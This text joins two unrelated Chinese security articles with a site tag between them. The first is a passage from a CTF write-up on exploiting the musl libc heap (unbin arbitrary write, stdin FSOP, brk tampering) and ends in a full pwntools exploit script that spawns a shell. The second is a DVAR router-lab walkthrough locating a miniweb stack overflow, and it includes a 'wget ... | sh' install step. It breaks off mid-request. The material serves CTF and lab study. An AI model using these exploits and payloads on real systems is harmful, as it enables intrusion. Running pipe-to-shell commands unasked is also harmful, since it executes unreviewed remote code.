if (self->psize & next->csize & C_INUSE) {
// 去除 INUSE 标志位
self->csize = final_size | C_INUSE;
next->psize = final_size | C_INUSE;
// 计算 final_size 对应的 bin 下标 i
i = bin_index(final_size);
lock_bin(i);
lock(mal.free_lock);
if (self->psize & next->csize & C_INUSE)
break; // 退出循环
unlock(mal.free_lock);
unlock_bin(i);
}
// 向前合并空闲 chunk
if (alloc_rev(self)) { // 从 bin 链表取出待合并的空闲 chunk
self = PREV_CHUNK(self);
size = CHUNK_SIZE(self);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
}
// 向后合并空闲 chunk
if (alloc_fwd(next)) { // 从 bin 链表取出待合并的空闲 chunk
size = CHUNK_SIZE(next);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
next = NEXT_CHUNK(next);
}
}
//2. 在 binmap 中，将 bin i 设为非空 bin
if (!(mal.binmap & 1ULL<<i))
a_or_64(&mal.binmap, 1ULL<<i);
self->csize = final_size;
next->psize = final_size;
unlock(mal.free_lock);
// 3. 将 self 加入到 bin i 链表的尾部
self->next = BIN_TO_CHUNK(i);
self->prev = mal.bins[i].tail;
self->next->prev = self;
self->prev->next = self;
/* Replace middle of large chunks with fresh zero pages */
if (reclaim) {
[...]
}
unlock_bin(i);
}
`__bin_chunk`函数的作用是将 chunk 插入到 bin 链表中。首先合并 chunk 前后的空闲 chunk、设置 binmap 和
chunk 标志位，最后将 chunk 插入到对应的 bin 链表中。
### 2.4 静态堆内存
在 glibc 中，堆一般位于内存中的动态内存区域。而 musl libc 堆管理器为了减少内存开销，将程序和 libc
库（静态内存）的空闲内存划分为堆内存，并优先使用静态堆内存来分配 chunk。只有当静态堆内存耗尽或者不能满足需求时，musl libc
才会去申请动态内存。
接下来介绍一下 musl libc 如何实现这个特性。
void __dls3(size_t *sp)
{
[...]
// ldso/dynlink.c L1839-L1840
/* Donate unused parts of app and library mapping to malloc */
reclaim_gaps(&app);
reclaim_gaps(&ldso);
[...]
}
在初始化过程中，musl libc 调用`reclaim_gaps`函数查找并释放程序和 libc 库的空闲内存。
// ldso/dynlink.c L526-L552
/* A huge hack: to make up for the wastefulness of shared libraries
* needing at least a page of dirty memory even if they have no global
* data, we reclaim the gaps at the beginning and end of writable maps
* and "donate" them to the heap. */
static void reclaim(struct dso *dso, size_t start, size_t end)
{
// 避开 RELRO 段
if (start >= dso->relro_start && start < dso->relro_end) start = dso->relro_end;
if (end >= dso->relro_start && end < dso->relro_end) end = dso->relro_start;
if (start >= end) return;
char *base = laddr_pg(dso, start);
// 使用 __malloc_donate 函数将内存释放到 bin 中
__malloc_donate(base, base+(end-start));
}
static void reclaim_gaps(struct dso *dso)
{
Phdr *ph = dso->phdr;
size_t phcnt = dso->phnum;
// 遍历每一个段
for (; phcnt--; ph=(void *)((char *)ph+dso->phentsize)) {
// 条件 1：段不属于可加载段（PT_LOAD）
if (ph->p_type!=PT_LOAD) continue;
// 条件 2：段可读可写
if ((ph->p_flags&(PF_R|PF_W))!=(PF_R|PF_W)) continue;
// 在段所属的内存页中，将段前后的空闲内存传递给 reclaim 函数
reclaim(dso, ph->p_vaddr & -PAGE_SIZE, ph->p_vaddr);
reclaim(dso, ph->p_vaddr+ph->p_memsz,
ph->p_vaddr+ph->p_memsz+PAGE_SIZE-1 & -PAGE_SIZE);
}
}
`reclaim_gaps`函数遍历每一个内存段，若找到符合条件的段，计算段所属的内存页，将`页首地址 ~ 段首地址`和`段末地址 ~
页末地址`这两个空闲内存块传递给`reclaim`函数，最后通过`__malloc_donate`函数释放到 bin 中。
musl libc 完成初始化后，通过`gdb`可以发现 bin 中有两个 chunk，它们的内存位置恰好位于 libc 库和程序。malloc
可以使用`trim`或者`pretrim`切割这两个 chunk，生成多个 chunk 分配给用户。
这个特性有利于漏洞利用过程中的信息泄漏：如果已知某个 chunk 地址，就等同于泄漏了 libc 基址或程序基址；相反，如果能够泄漏 libc
基址或程序基址，就能计算任意 chunk 的地址。
## 3\. 题目分析
题目源码：<https://github.com/xf1les/XCTF_2020_PWN_musl>
运行 source 目录下面的 build.sh，可以编译带调试信息的 libc 库和 carbon 程序。
root@4124cf40a89b:/pwn/Debug# ./libc.so
musl libc (x86_64)
Version 1.1.24
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]
root@4124cf40a89b:/pwn/Debug# checksec carbon
[*] '/pwn/Debug/carbon'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序开启除 PIE 以外的所有防护机制，musl libc 版本为 1.1.24。
1) Assign sleeves
2) Destory sleeves
3) Transform sleeves
4) Examine sleeves
5) Real death
>
典型的菜单题，可以添加、删除、编辑和显示堆块。以下地方需要注意一下：
* add 允许堆溢出一次，溢出长度 0x50 字节。
* 只有一处地方调用`exit`函数：当 malloc 返回的指针地址为`0xbadbeef`时。
* view 只能用一次。
## 4\. 漏洞利用
漏洞利用主要分为三步：第一步泄漏 libc 基址；第二步通过堆溢出改写链表首部 chunk 的指针字段，利用 unbin 进行任意地址写；第三步布置
FSOP 和修改堆内部变量，通过`exit`函数触发 FSOP，拿到 shell。
### 4.1 泄漏 libc 基址
申请大小小于 0x400 字节的 chunk，chunk 前 8 字节就是 unbin 时残留的 bin 链表头部地址。用上只能用一次的 view，即可泄漏
libc 基址。
add(0x1, 'A') #0
libc_base = u64(view(0).ljust(8, 'x00')) - 0x292e41 # bin[0]
当 chunk 大小为 0x20 字节时，地址指向`mal.bins[0]`的链表头部`mal+832`，相对于基址的偏移是 0x292e00。
### 4.2 利用 unbin 实现任意地址写
unbin 没有检查`prev`和`next`指针是否合法，通过堆溢出我们可以改写这两个指针，利用 unbin
向任意地址写指针地址，即`*(uint64_t*)(prev + 2) = next`和`*(uint64_t*)(next + 3) = prev`。
如图，`mal.bins[38]`是一个非空 bin。我们可以在待控制的内存块附近构建一个 fake chunk，利用 unbin 将 fake chunk
地址写到`mal.bins[38]->head`指针上，通过劫持 bin 链表使`malloc`返回 fake chunk，实现任意地址写。
#### 4.2.1 劫持 bin 链表
add(0x10, 'A'*0x10) #1
add(0x10, 'B'*0x10) #2, prevent consolidation
add(0x10, 'C'*0x10) #3
add(0x10, 'D'*0x10) #4, prevent consolidation
free(1)
free(3)
首先分配 4 个大小为 0x20 字节的 chunk，然后释放 chunk 1 和 chunk 3。释放的 chunk
进入到`mal.bins[0]`链表，`mal.bins[0]->head`指针指向 chunk 1。
bin = libc_base + 0x292e40 # mal.bins[38]->head
next = bin - 0x10
prev = fake_chunk
payload = 'X' * 0x10
payload += p64(0x21) * 2 + 'X' * 0x10
payload += p64(0x21) + p64(0x20) + p64(next) + p64(prev)
payload += p8(0x20)
payload += 'n'
add(0x10, payload, 'Y') #1, heap overflow
然后分配一个 0x20 字节 chunk，malloc 从`mal.bins[0]`取出`head`指针指向的 chunk 1，更新`head`指针指向
chunk 3。堆溢出 chunk 1，改写 chunk 3 `prev`指针、`next`指针为 fake chunk
地址、`mal.bins[38]->head`指针地址。
add(0x10) # 3, unbin #1
再次分配 0x20 字节 chunk，malloc 对 chunk 3 进行 unbin，将 fake chunk
地址写到`mal.bins[38]->head`指针上。
add(0x50) # 5, fake chunk
最后分配一个 0x60 字节的 chunk，malloc 从`mal.bins[38]`取出 fake chunk，返回 fake chunk 地址。
edit(3, p64(next) + p64(prev2))
add(0x10) # 3, unbin #2
add(0x50) # 5, fake_chunk #2
edit(3, p64(next) + p64(prev3))
add(0x10) # 3, unbin #3
add(0x50) # 6, fake_chunk #3
edit(3, p64(next) + p64(prev4))
add(0x10) # 3, unbin #4
add(0x50) # 7, fake_chunk #4
edit(3, p64(next) + p64(prev5))
add(0x10) # 3, unbin #5
add(0x50) # 8, fake_chunk #5
[......]
由于`mal.bins[0]`链表已被破坏，`mal.bins[0]->head`指针不再更新，继续指向 chunk 3。通过不断修改 chunk 3
的`prev`指针，我们可以实现多次任意地址写。
#### 4.2.2 构造 fake chunk
由于 malloc 不检查 chunk 的头部，只要 fake chunk 的`prev`和`next`指针指向合法地址，就能通过 unbin 从 bin
链表中取出，即`*(uint64_t*)(fake_chunk + 2)`和`*(uint64_t*)(fake_chunk +
3)`的值是一个可写的内存块地址。
除了利用现有的 fake chunk，我们还可以利用 unbin 在任意内存块上构造 fake chunk：
fake_chunk = target - 0x10
edit(3, p64(fake_chunk) + p64(fake_chunk))
add(0x10) # 3, unbin
假设待控制的内存块地址为`target`。将 chunk 3 的`prev`和`next`指针同时设为`target - 0x20`，然后 unbin。
unbin 之前。
经过 unbin 之后，fake chunk 的`prev`和`next`指针被 unbin 改写为 fake chunk 地址，恰好满足构造条件。
free(n) # chunk n 的大小为 0x20
然后释放一个 0x20 字节的 chunk。
// src/malloc/malloc.c L188-L191
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
[...]
}
void __bin_chunk(struct chunk *self)
{
[...]
// src/malloc/malloc.c L482-L483
if (!(mal.binmap & 1ULL<<i))
a_or_64(&mal.binmap, 1ULL<<i);
[...]
}
这是因为当`prev`和`next`指针相等时，unbin 会将`mal.bins[0]`设置为空
bin。导致`mal.bins[0]`不可用。只要释放任意 0x20 的 chunk ，`mal.bins[0]`就能重新设置为非空 bin。
注意待释放的 chunk 前后不能有空闲 chunk，否则 free 将其进行合并，导致 chunk 被释放到其他的 bin 中。
edit(3, p64(bin - 0x10) + p64(fake_chunk))
add(0x10) # 3, unbin
add(0x50) # n+1, target
最后利用 unbin 将 fake_chunk 地址写到`mal.bins[38]->head`指针上，最终控制`target`。
### 4.3 FSOP
泄漏 libc 基址和实现任意地址写之后，接下来考虑如何劫持程序控制流来拿 shell。musl libc
没有类似`__malloc_hook`之类可以方便劫持控制流的 hook 函数，目前可行的方法只有做
FSOP，覆盖`FILE`结构体上面的函数指针（若不考虑上面提到的非预期解）。
pwndbg> ptype stdin
type = struct _IO_FILE {
unsigned int flags;
unsigned char *rpos;
unsigned char *rend;
int (*close)(FILE *);
unsigned char *wend;
unsigned char *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev;
FILE *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim;
off_t shcnt;
FILE *prev_locked;
FILE *next_locked;
struct __locale_struct *locale;
} * const
pwndbg> vmmap stdin
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7ffb000 0x7ffff7ffc000 rw-p 1000 92000 /pwn/Debug/libc.so
pwndbg>
上面是`_IO_FILE`结构体的定义。musl libc 版 `_IO_FILE`结构体没有专门的
vtable，只有四个函数指针`close`、`read`、`write`和`seek`且分布在结构体中的不同位置。由于`stin`、`stdout`和`stderr`结构体所处的内存块可写，我们可以通过任意地址写来改写上面的内容。
// sub_400E07
p = (char *)malloc(size);
if ( p == (char *)0xBADBEEF )
{
sub_400AEC("ERROR: Bad beefn");
exit(-1);
}
在程序中，有一处地方调用了`exit` 函数。
// src/exit/exit.c L27-L33
_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit(); <--- _Exit(code);
}
// src/stdio/__stdio_exit.c L16-L23
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used); <--- close_file(__stdout_used);
close_file(__stderr_used);
}
// src/stdio/__stdio_exit.c L8-L14
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0); <--- if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}
翻阅源码，发现`exit`函数后来调用`__stdio_exit`函数来关闭所有打开的文件流。在`close_file`函数中，如果文件流`f`符合条件`f->wpos
!= f->wbase`，则调用`f`文件结构体上的`write`函数指针：`f->write(f, 0, 0)`。
payload = "/bin/shx00" # stdin->flags
payload += 'X' * 32
payload += p64(0xdeadbeef) # stdin->wpos
payload += 'X' * 8
payload += p64(0xbeefdead) # stdin->wbase
payload += 'X' * 8
payload += p64(system) # stdin->write
edit(stdin, payload)
触发 FSOP 的条件十分简单：只要向`stdin`结构体的首 8
字节写入`/bin/shx00`，将`write`指针指向`system`函数，令`stdin->wpos !=
stdin->wbase`，最后调用`exit`函数即可拿到 shell。
除了`exit`函数之外，`scanf`、`printf`和`puts`之类的标准 IO 库函数里面也有类似的 FSOP
触发点。有兴趣的话可以自行翻阅相关函数的源码。
### 4.4 返回 0xBADBEEF
但是想要调用`exit`函数，`malloc`返回的地址必须为`0xBADBEEF`，`0xBADBEEF`显然不是一个合法的内存地址。而通过修改 libc
内部一个名为`brk`的全局变量，不但将`0xBADBEEF`变为一个能够正常访问的地址，还能让`malloc`返回该地址。
// src/malloc/malloc.c L303-L315
void *malloc(size_t n)
{
[...]
for (;;) {
uint64_t mask = mal.binmap & -(1ULL<<i);
// 若所有的可用 bin 均为空，调用 expand_heap 函数延展堆空间，生成新的 chunk
if (!mask) {
c = expand_heap(n); <--- if (!c) return 0;
// 向前合并空闲 chunk
if (alloc_rev(c)) {
struct chunk *x = c;
c = PREV_CHUNK(c);
NEXT_CHUNK(x)->psize = c->csize =
x->csize + CHUNK_SIZE(c);
}
break;
}
[...]
}
当所有可用 bin 均为空时，`malloc`调用`expand_heap`函数延展堆内存空间，生成新的
chunk。`expand_heap`函数内部调用了`__expand_heap`函数。
// src/malloc/expand_heap.c L39-L61
void *__expand_heap(size_t *pn)
{
static uintptr_t brk; // brk 是一个全局变量
static unsigned mmap_step;
size_t n = *pn; // n 是 chunk 长度
// n 的最大允许值为 0x7FFFFFFFFFFFEFFF
if (n > SIZE_MAX/2 - PAGE_SIZE) {
errno = ENOMEM;
return 0;
}
n += -n & PAGE_SIZE-1;
// 若 brk 指针为 NULL，使其指向当前数据段的末尾位置
if (!brk) {
brk = __syscall(SYS_brk, 0);
brk += -brk & PAGE_SIZE-1;
}
// 调用 brk 系统调用，将数据段延展至 brk+n 地址
// 若成功，返回 brk 指针
if (n < SIZE_MAX-brk && !traverses_stack_p(brk, brk+n)
&& __syscall(SYS_brk, brk+n)==brk+n) { <--- *pn = n;
brk += n;
return (void *)(brk-n);
}
// 若 brk 失败，返回 mmap 内存
[...]
}
在`__expand_heap`函数中，`brk`是指向数据段（data segment，即动态内存）末尾位置的指针。`__expand_heap`函数调用
brk 系统调用`__syscall(SYS_brk, brk+n)`，将数据段末尾向后延展`n`字节，然后延展部分返回给`malloc`作为新的
chunk 分配给用户。
若程序不开启 PIE，数据段的地址长度为 24
bit（`0~0x2000000`），内存位置与`0xBADBEEF`比较接近。若将`brk`指针修改为`0xBADBEEF - n`，brk
系统调用就会把数据段延展至`0xBADBEEF`，使其成为可访问的内存地址。
edit(binmap, 'X' * 16 + p64(0))
edit(brk, p64(0xbadbeef - 0x20))
add(0) # 0xbadbeef
将`mal.binmap`设为`NULL`、`brk`设为`0xbadbecf`，然后用`add(0)`分配一个 0x20 字节
chunk，最终得到`0xBADBEEF`。
注意需要在`mal.binmap`往前的地方构造 fake chunk，防止破坏原来的`binmap`值。
### 4.5 利用脚本
漏洞利用 Python 脚本如下：
#!/usr/bin/env python2
from pwn import *
import sys
context(arch="amd64", log_level="debug")
if len(sys.argv) >= 3:
p = remote(sys.argv[1], sys.argv[2])
else:
p = process("./carbon")
def alloc(sz, ctx='n', ans='N'):
p.sendlineafter(">", '1')
p.sendlineafter("What is your prefer size? >", str(sz))
p.sendlineafter("Are you a believer? >", ans)
p.sendafter("Say hello to your new sleeve >", ctx)
def free(idx):
p.sendlineafter(">", '2')
p.sendlineafter("What is your sleeve ID? >", str(idx))
def edit(idx, ctx):
p.sendlineafter(">", '3')
p.sendlineafter("What is your sleeve ID? >", str(idx))
p.send(ctx)
def view(idx):
p.sendlineafter(">", '4')
p.sendlineafter("What is your sleeve ID? >", str(idx))
return p.recvuntil("Done.", True)
alloc(0x1, 'A') #0
libc_base = u64(view(0).ljust(8, 'x00')) - 0x292e41
info("libc base: 0x%x", libc_base)
stdin = libc_base + 0x292200
binmap = libc_base + 0x292ac0
brk = libc_base + 0x295050
bin = libc_base + 0x292e40
system = libc_base + 0x42688
# 1. construct fake chunks
alloc(0x10) #1
alloc(0x10) #2, prevent consolidation
alloc(0x10) #3
alloc(0x10) #4, prevent consolidation
alloc(0x10) #5
alloc(0x10) #6, prevent consolidation
alloc(0x10) #7
alloc(0x10) #8, prevent consolidation
free(1)
free(3)
payload = 'X' * 0x10
payload += p64(0x21) * 2 + 'X' * 0x10
payload += p64(0x21) + p64(0x20) + p64(stdin - 0x10) * 2
payload += p8(0x20)
payload += 'n'
alloc(0x10, payload, 'Y') #1
alloc(0x10) #3
free(1) # set as non-empty bin
edit(3, p64(binmap - 0x20) * 2)
alloc(0x10) #1
free(5) # set as non-empty bin
edit(3, p64(brk - 0x10) * 2)
alloc(0x10) #5
free(7) # set as non-empty bin
# 2. corrupt bin head and get arbitrary pointers
edit(3, p64(bin - 0x10) + p64(stdin - 0x10))
alloc(0x10) #7
alloc(0x50) #9
edit(3, p64(bin - 0x10) + p64(brk - 0x10))
alloc(0x10) #10
alloc(0x50) #11
edit(3, p64(bin - 0x10) + p64(binmap - 0x20))
alloc(0x10) #12
alloc(0x50) #13
# 3. corrupt stdin, binmap and brk
payload = "/bin/shx00" # stdin->flags
payload += 'X' * 0x20
payload += p64(0xdeadbeef) # stdin->wpos
payload += 'X' * 8
payload += p64(0xbeefdead) # stdin->wbase
payload += 'X' * 8
payload += p64(system) # stdin->write
edit(9, payload) # stdin
edit(11, p64(0xbadbeef - 0x20) + 'n') # brk
edit(13, 'X' * 0x10 + p64(0) + 'n') # binmap
# 4. get shell
p.sendlineafter(">", '1')
p.sendlineafter("What is your prefer size? >", '0')
p.interactive()
## 5\. 总结
本文展示了在 musl libc 环境下，如何利用堆溢出漏洞劫持 bin 链表头部，通过 unbin 修改链表指针实现任意地址写，最后通过 FSOP 得到
shell。此外，还介绍了 musl libc 堆管理器的大致实现、malloc 返回任意堆地址的方法、出题失误以及其修复方法。
## 6\. 参考
1. [musl libc 源码（Github 镜像）](https://github.com/bminor/musl)
2. [mmap 帮助文档](http://man7.org/linux/man-pages/man2/mmap.2.html)
3. [mmap 地址随机化实现](https://github.com/0xricksanchez/articles/tree/master/ASLR#mmap-randomization)
4. [brk 帮助文档](http://man7.org/linux/man-pages/man2/brk.2.html)
5. [brk 地址随机化实现](https://github.com/0xricksanchez/articles/tree/master/ASLR#brk-randomization) | 社区文章 |
# 从0到ReverseShell：路由器漏洞靶场DVAR实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
DVAR是一个模拟arm架构路由器的漏洞靶场，本文将介绍如何从无到有获取一个反向shell，中间会包含环境搭建，漏洞定位与利用，以及这次实践的心得。
## 1.知识基础
本文将步骤尽可能写的详细易懂，如果你也想自己动手完成这次实践，最起码需要掌握的是arm汇编（寄存器作用，指令含义，栈的相关操作，程序流程控制，arm和thumb指令特性），IDA分析（F5,
阅读c代码）。
## 2.环境搭建
### 2.1 漏洞靶场DVAR的搭建
主页:<https://www.vulnhub.com/entry/damn-vulnerable-arm-router-dvar-tinysploitarm,224/>
下载链接：
* **Download** : <https://app.box.com/s/g2k7vo45ctn5lh0enrwg6i83abwindte>
* **Download (Mirror)** : <https://download.vulnhub.com/dvar/tinysploitARM.zip>
* **Download (Torrent)** : <https://download.vulnhub.com/dvar/tinysploitARM.zip.torrent>
下载之后解压使用vmware直接打开即可。
（图片1）
可以在启动信息中看到ip: 192.168.74.134，
[http://ip:80是一个路由器界面，这次实践针对路由器界面](http://ip:80%E6%98%AF%E4%B8%80%E4%B8%AA%E8%B7%AF%E7%94%B1%E5%99%A8%E7%95%8C%E9%9D%A2%EF%BC%8C%E8%BF%99%E6%AC%A1%E5%AE%9E%E8%B7%B5%E9%92%88%E5%AF%B9%E8%B7%AF%E7%94%B1%E5%99%A8%E7%95%8C%E9%9D%A2)
[http://ip:8080是一个红绿灯界面](http://ip:8080%E6%98%AF%E4%B8%80%E4%B8%AA%E7%BA%A2%E7%BB%BF%E7%81%AF%E7%95%8C%E9%9D%A2)
使用MobaXterm（可以很方便的上传下载文件） ssh登陆到设备，用户名是root，无需密码。
图片2
### 2.2 工具使用
本文使用到的工具有：
gdb,gdbserver,gef,IDA,keypatch,armv5交叉编译环境
**2.2.1 gdb,gdbserver,gdb-multiarch,gef的安装和使用**
**2.2.1.1 gdb,gdbserver,gdb-multiarch安装**
漏洞分析与利用当然少不了合适的调试工具。
在靶场中自带了gdb，gdbserver，但是都不太方便，如果在靶场中用gdb调试，安装gef就很复杂，因为很多基础环境都没有，而没有gef调试会很心累。如果选择远程调试，使用其自带的gdbserver，就需要安装相同版本的gdb（ubuntu上使用的），当然不能使用单文件版本的gdb(之后要安装gef)，需要卸载掉ubuntu原装的gdb，安装与gdbserver版本相同的gdb。
最后，考虑到以后其他架构的调试，为了一劳永逸，我没有使用其内置的gdbserver，在github上找到已经编译的一组gdbserver7.10.1
<https://github.com/hugsy/gdb-static>
（写这篇文章时找到一组更全更新的<https://github.com/mzpqnxow/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver>，但为时已晚:)）
然后在ubuntu14.04中卸载原装的gdb，安装相同版本的gdb7.10.1
<https://ftp.gnu.org/gnu/gdb/>
<https://ftp.gnu.org/gnu/gdb/gdb-7.10.1.tar.xz>
卸载原装
apt-get remove gdb
进入源码目录，安装GDB 7.10.1
./configure —with-python=’/usr/bin/python3.4’
apt-get install libexpat1-dev
apt-get install python3.4-dev
apt-get install texinfo
make install
**为了调试不同架构必须安装gdb-multiarch**
apt-get install gdb-multiarch
**2.2.1.2 gef安装**
**安装gef依赖**
apt-get install python3-pip
pip3 install capstone unicorn ropper
安装keystone0.9.1
<http://www.keystone-engine.org/download/>
<https://github.com/keystone-engine/keystone/archive/0.9.1.zip>
apt-get install cmake
apt-get install g++
mkdir build
cd build
../make-share.sh
cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON
-DLLVM_TARGETS_TO_BUILD=”AArch64;X86” -G “Unix Makefiles” ..
make -j8
make install
sudo ldconfig
kstool x32 “add eax, ebx”
pip3 install keystone-engine
**安装gef**
wget -q -O- <https://github.com/hugsy/gef/raw/master/scripts/gef.sh> | sh
wget -q -O- <https://github.com/hugsy/gef/raw/master/scripts/gef-extras.sh> |
sh
**2.2.1.2 调试工具的使用**
web服务器启动时会fork()，这里为了方便使用附加调试
**本地附加调试：**
DVAR运行：gdb lobby miniweb_pid
图片3
**远程附加调试：**
DVAR运行
./gdbserver-7.10.1-arm6v *:1234 —attach miniweb_pid
ubuntu14.04 运行
gdb-multiarch
set architecture arm
gef-remote 192.168.74.134:1234
图片4
图片5
**gdb调试命令：**
b *address:对指定的地址下断点
info b：显示断点
del 断点号：删除断点
x/10i $pc: 显示汇编
x/10b $sp：显示内存
continue(继续运行)
n(单步运行)
start(本地非附加调试需首先运行)
**gef命令：**
除了以上gdb命令
checksec： 检测安全机制
**2.2.2 IDA，keypatch**
由于IDAarm架构有F5，所以分析起来很方便
keypatch 是为了更改程序，将fork() patch掉
<https://github.com/keystone-engine/keypatch>
<https://github.com/keystone-engine/keystone/releases/download/0.9.1/keystone-0.9.1-python-win32.msi>
<https://www.microsoft.com/en-gb/download/details.aspx?id=40784>
注意：vcredist_x86.exe,keystone-0.9.1-python-win32.msi都应该是同平台
keypath.py放入IDA下 plugins目录
图片5.1
图片5.2
具体的使用，注意如果第一次使用keypatch之后没有Apply patches to the file就关闭IDA了，之后每次都会保存失败：
图片5.3
图片5.4
图片5.5
将更改保存
图片5.6
## 3.漏洞定位
### 3.1目标
本次实践针对80端口的/usr/bin/miniweb
exploitlab-DVAR:~# netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8080 0.0.0.0: _LISTEN 246/lightsrv
tcp 0 0 0.0.0.0:80 0.0.0.0:_ LISTEN 245/miniweb
tcp 0 0 0.0.0.0:22 0.0.0.0: _LISTEN 231/dropbear
tcp 0 0 127.0.0.1:6010 0.0.0.0:_ LISTEN 287/dropbear
tcp 0 0 192.168.100.254:22 192.168.74.1:53417 ESTABLISHED 288/dropbear
图片6
图片7
### 3.2 尝试模糊测试
一开始，我尽可能的找页面中发包，然后在burpsuit进行测试
图片8
图片9
fuzz，相关设置：
图片10
图片11
但是没有找到任何问题，很是沮丧，
图片12
图片13
于是就直接把miniweb从虚拟机中下下来，放到IDA中找溢出
F5，找到处理函数
图片14
函数中对URL进行解析并根据解析做相应的处理
图片15
如果存在栈溢出，在此处一定能找到
关注敏感函数strcpy和strcat
其中所有的目的地址都是本函数的局部变量的地址
图片16
很好分析，将关注点聚集在源src即可
敏感的有几处：
strcpy((char _) &v21, (const char _)v32 + 1020);
v8 = strlen((const char *)v32 + 765);
strcat((char *)&v21, s1);
strcpy((char _) &v21, (const char _)v32 + 255);
strcat((char *)&v21, s1);
优先分析好理解的，发现 strcat((char *)&v21, s1);存在栈溢出）
以下分析为什么存在栈溢出，以及s1的含义
//strcat((char *)&v21, s1);有两处
else
{
getpeername(v17, (struct sockaddr *)&v19, (socklen_t *)&v18);
v5 = inet_ntoa(v20);
Log("Connection from %s, request = "GET %s"", v5, s1);//从这里可以看出s1在原函数中的意义
//Connection from v5, request = "GET s1)"", v5是host，s1是请求的URL
v6 = (char *)v32 + 765;
v7 = strlen((const char *)v32 + 765);
if ( !strncmp(s1, v6, v7) )
{
v28 = strchr(s1, 63);
if ( v28 )
{
*v28 = 0;
v34 = 1;
}
strcpy((char *)&v21, (const char *)v32 + 1020);
v8 = strlen((const char *)v32 + 765);
s1 += v8;// 这里加上了一个长度
strcat((char *)&v21, s1);// 第一处，直接拷贝到局部变量未做长度限制
if ( does_file_exist(&v21) == 1 && !isDirectory(&v21) )
{
if ( send(v17, "HTTP/1.1 200 OKn", 0x10u, 0) == -1 )
{
fclose(stream);
return -1;
}
if ( send(v17, "Server: EXPLOITLAB ROP WARM-UP/2.0n", 0x23u, 0) == -1 )
{
fclose(stream);
return -1;
}
if ( dup2(v17, 0) || dup2(v17, 1) != 1 )
return -1;
setbuf((FILE *)stdin, 0);
setbuf((FILE *)edata, 0);
if ( v34 == 1 )
setenv("QUERY_STRING", v28 + 1, 1);
chdir((const char *)v32 + 1020);
execl((const char *)&v21, (const char *)&unk_13764);
}
strcpy((char *)&v21, SERVERROOT);
v9 = strlen((const char *)&v21);
memcpy((char *)&v21 + v9, "/cgierror.html", 0xFu);
}
else
{
strcpy((char *)&v21, (const char *)v32 + 255);
strcat((char *)&v21, s1);// 第二处，但是是一样未作长度限制
if ( !does_file_exist(&v21) )
{
if ( *((_BYTE *)&v24 + strlen((const char *)&v21) - 345) == 47 )
{
strcat((char *)&v21, (const char *)v32 + 510);
}
else
可以判定：URL过长将导致栈溢出，其中URL的源头：
s1 = strtok((char *)&v23, " ");//根据空格分割
if ( s1 )
{
if ( !strcmp(s1, "GET") )// 判断第一个是不是GET
{
s1 = strtok(0, " ");// 分割的第二个就是URL了
urldecode(s1);
if ( s1 )
由此可见我们最后构造的溢出一定不能包括空格，当然\r \n 0x00也是不允许的。
现在进行测试：发送较长的URL，web服务器没有响应
图片17
**但是，为什么之前发送那么大的数据包依然有反应呢？**
int n=0;
while ( !strstr((const char *)&v25, "rnrn") && !strstr((const char *)&v25, "nn") )
{
n = recv(v17, (char *)&v25 + n, 4096 - n, 0);
if ( n == -1 )
return -1;
}
这里使用bp发送超过4096个字节
在recv之后下断点，程序断下3次
$r0 : 0x1000
$r1 : 0xbeffdc3c → “GET Aa0AAa0BAa0CAa0DAa0EAa0FAa0GAa0HAa0IAa0JAa0KAa[…]”
$r0 : 0x0
$r1 : 0xbeffec3c → 0x00000000
$r0 : 0xe68
$r1 : 0xbeffdc3c → “Aa0DAa0EAa0FAa0GAa0HAa0IAa0JAa0KAa0LAa0MAa0NAa0OAa[…]”
当第一次接受4096个字节后，结果n=4096;第二次接受0个字节（4096-4096），结果n=0;第三次接受4096字节的时候，n =
recv(v17, (char *)&v25 + 0, 4096 – 0, 0);会把第一次的覆盖掉，所以最后保存下来的是最后一次接受的包。
//之后对包的内容进行判断，没有找到GET字符串，所以返回cmderror.html页面
if ( !strcmp(s1, "GET") )
{。。。}
else
{
strcpy((char *)&v21, SERVERROOT);
v2 = strlen((const char *)&v21);
memcpy((char *)&v21 + v2, "/cmderror.html", 0xFu);
}
所以当发送〉4096字节之后出现返回cmderror页面的情况。
这里需要反思下，之前有些贪多求快，burpsuit的设置应该这样才是比较妥当的
图片18
图片19
除了粒度变细，还应该测试最基础的，这样就减少很多影响因素
GET / HTTP/1.1 #url长度，层级，
Host: 1.1.1.1 #host长度
## 4.漏洞利用
### 4.1 溢出点确定
写了一个生成溢出字符串的脚本
import os
import string
import sys
num = int(sys.argv[1])
overflowstr = ""
circle=num/4+1
for i in string.ascii_uppercase:
for j in string.ascii_lowercase:
for k in string.digits:
for p in string.ascii_uppercase:
circle-=1
if circle == -1:
print overflowstr
exit()
overflowstr+=i+j+k+p
发送数据包
GET
